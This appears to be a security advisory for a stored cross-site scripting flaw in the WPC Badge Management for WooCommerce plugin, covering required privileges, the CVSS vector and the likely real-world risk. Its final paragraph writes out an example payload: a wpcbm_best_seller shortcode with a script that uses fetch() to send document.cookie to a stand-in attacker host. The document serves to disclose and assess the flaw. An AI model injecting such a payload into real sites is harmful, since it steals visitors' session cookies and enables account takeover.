WPC Badge Management for WooCommerce EUVD-2025-209823

Exploitation requires the attacker to possess or compromise a WordPress user account with Shop Manager role or higher (Editor, Administrator). The wpcbm_best_seller shortcode must be present or insertable in the target page (typically via page/post editor or theme template). No special plugin configuration is required-the vulnerability exists in default installations. The vulnerability is limited to authenticated users with PR:H privileges; unauthenticated remote attackers cannot directly inject payloads. Site administrators who restrict Shop Manager role assignment or implement strict code review workflows for page edits can mitigate risk. Multi-site WordPress installations where Shop Managers can edit pages site-wide face higher exposure than single-site installations.

CVSS 5.5 with vector AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N indicates moderate impact with important contextual limitations. The network attack vector and low complexity reflect that the shortcode can be injected remotely via WordPress admin interface. However, the PR:H (High Privilege) requirement is a significant bottleneck-exploitation requires Shop Manager role or above, which is not typically granted to untrusted users. The lack of user interaction (UI:N) means no social engineering is needed once a malicious page is created. Scope:Changed indicates the impact affects other users viewing the page, not just the attacker. The real-world risk is lower than CVSS suggests due to the authentication barrier: this primarily threatens multi-user WordPress installations where Shop Managers are used but not fully trusted, or where account compromise of a Shop Manager has occurred. Without EPSS score or KEV status provided, estimated exploitation likelihood is low in typical single-admin sites but moderate in larger ecommerce teams. No POC public availability data was provided, further reducing immediate risk. This is a privilege-gated stored XSS-serious for its scope but not as critical as unauthenticated XSS vulnerabilities.

A compromised or malicious Shop Manager logs into the WordPress admin dashboard, navigates to the page or post editor, and inserts the shortcode [wpcbm_best_seller text="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"] into a published page. When legitimate customers or site administrators visit that page, the injected JavaScript executes in their browsers, stealing session cookies and sending them to the attacker's server, enabling account takeover or data exfiltration.